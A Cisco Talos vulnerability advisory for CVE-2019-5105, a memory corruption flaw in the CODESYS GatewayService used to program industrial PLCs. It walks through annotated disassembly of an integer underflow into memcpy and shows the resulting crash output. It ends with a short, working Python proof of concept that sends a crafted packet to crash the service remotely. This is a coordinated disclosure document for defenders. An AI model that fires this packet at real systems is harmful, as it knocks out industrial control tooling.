Talos Vulnerability Report

TALOS-2019-0897

3S-Smart Software Solutions CODESYS GatewayService memory corruption vulnerability

March 25, 2020
CVE Number

CVE-2019-5105

Summary

An exploitable memory corruption vulnerability exists in the Name Service Client functionality of 3S-Smart Software Solutions CODESYS GatewayService 3.5.13.20. A specially crafted packet can cause a large memcpy, resulting in an access violation and termination of the process. An attacker can send a packet to a device running the GatewayService.exe to trigger this vulnerability.

Tested Versions

3S-Smart Software Solutions CODESYS 3.5.15.0

Product URLs

https://www.codesys.com

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Details

3S-Smart Software Solutions CODESYS is licensed to vendors who are creating PLCs, or can be purchased directly from 3S-Smart Software Solutions for directly supported platforms. This software is used to turn any device into a soft PLC. The wide range of support allows easy adoption for industrial applications, being able to run on Windows, Linux, or even bare metal. The GatewayService.exe is required to be able to talk to the end device such as a PLC, and will be running on any Windows device that is being used to program or monitor a CODESYS runtime.

This bug manifests itself within RouterHandleData, starting with the RouterGetBlkAddresses function. This function extracts values from the received packet from the lowest 3 bits of byte 1, as well as the nibbles in byte 5. These offsets are calculated with a zero-indexed notation where 0xC5 is considered byte 0. These values are not verified to be less than the total length of the packet, and because they are not checked prior to usage within the memcpy it allows for the possibility of a integer underflow directly into the size parameter of memcpy.

// -------------
// This is within RouterGetBlkAddresses where the information is extracted from the received packet
00439e28  8b4510             mov     eax, dword [ebp+0x10 {arg3}]
00439e2b  8b4808             mov     ecx, dword [eax+0x8]
00439e2e  8b5514             mov     edx, dword [ebp+0x14 {arg4}]
00439e31  034a08             add     ecx, dword [edx+0x8]
00439e34  8b45f8             mov     eax, dword [ebp-0x8 {byte1LowerThreeBitsSHL1}]
// ALL byte values are calculated using a zero-indexed notation where byte 0 is the magic 0xC5 header.
// ((Byte 1 lower 3 bits * 2) + (Upper nibble of byte 5 + lower nibble of byte 
// 5)) * 2
00439e37  8d0c48             lea     ecx, [eax+ecx*2]
00439e3a  8b5518             mov     edx, dword [ebp+0x18 {arg5}]
// Store the calculated value
00439e3d  890a               mov     dword [edx], ecx
// -------------


// -------------
// BUG FIRST MANIFESTS HERE
0043b441  8b4d08             mov     ecx, dword [ebp+0x8 {arg3}]
0043b444  8b551c             mov     edx, dword [ebp+0x1c {arg8}]
0043b447  8b4104             mov     eax, dword [ecx+0x4]
0043b44a  2b02               sub     eax, dword [edx]
0043b44c  8985c8fdffff       mov     dword [ebp-0x238 {var_23c_1}], eax
// END BUG
// -------------

// -------------
// UNDERFLOW IS PLACED INTO MEMCPY SIZE UNCHECKED
0043b7ec  8b8dc8fdffff       mov     ecx, dword [ebp-0x238 {var_23c_1}]
0043b7f2  51                 push    ecx {var_278_6}
0043b7f3  8b5508             mov     edx, dword [ebp+0x8 {arg3}]
0043b7f6  8b02               mov     eax, dword [edx]
0043b7f8  8b4d1c             mov     ecx, dword [ebp+0x1c {arg8}]
0043b7fb  0301               add     eax, dword [ecx]
// HEAP ADDRESS SOURCE
0043b7fd  50                 push    eax {var_27c_9}
0043b7fe  8b95f8fdffff       mov     edx, dword [ebp-0x208 {var_20c_1}]
0043b804  8d8415fcfdffff     lea     eax, [ebp+edx-0x204] {__saved_ebp}
0043b80b  0385e4fdffff       add     eax, dword [ebp-0x21c {var_220_2}]
0043b811  0385c0fdffff       add     eax, dword [ebp-0x240 {var_244_2}]
0043b817  0385f0fdffff       add     eax, dword [ebp-0x210 {var_214}]
// STACK ADDRESS DESTINATION
0043b81d  50                 push    eax {var_280_9}
// CRASHING MEMCPY
0043b81e  e8c7860300         call    memcpy
// -------------

Crash Information

(2ae0.2a3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DBGHELP: C:\Program Files (x86)\WAGO Software\e!COCKPIT\3S CODESYS\GatewayPLC\GatewayService.pdb - file not found
DBGHELP: E:\jenkins\workspace\3.5.13.x\BUILD_V3.5.13.x_RTS_Win_x86\CodesysSpV3\CodesysSpV3\Platforms\Windows\GatewayService\Release\Win32\GatewayService\GatewayService.pdb - file not found
DBGHELP: GatewayService - no symbols loaded
eax=0ab34c15 ebx=011f78f0 ecx=fffffc15 edx=fffffffd esi=0ab35000 edi=087efb60
eip=750ecf5e esp=087ef6c4 ebp=087ef94c iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
VCRUNTIME140!memcpy+0x4e:
750ecf5e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

Exploit Proof of Concept

Ensure that the target host and port are correctly filled out. Additionally if testing remotely, ensure that a firewall is not blocking traffic to the port specified. This can be exploited remotely as well as locally. All bytes that are capitalized within the packet are unrelated to the crash.

import socket
from struct import pack

HOST = '192.168.1.10'
PORT = 11743

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    crash = bytearray.fromhex("000117e839000000c5b3AAAAAAbcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

    s.sendall(crash)

    s.close()


if __name__ == "__main__":
    main()

Timeline

2019-09-19 - Initial Contact
2019-09-23 - Vendor Disclosure
2020-03-25 - Vendor Patched; Public Release

Credit

Discovered by Carl Hurd of Cisco Talos.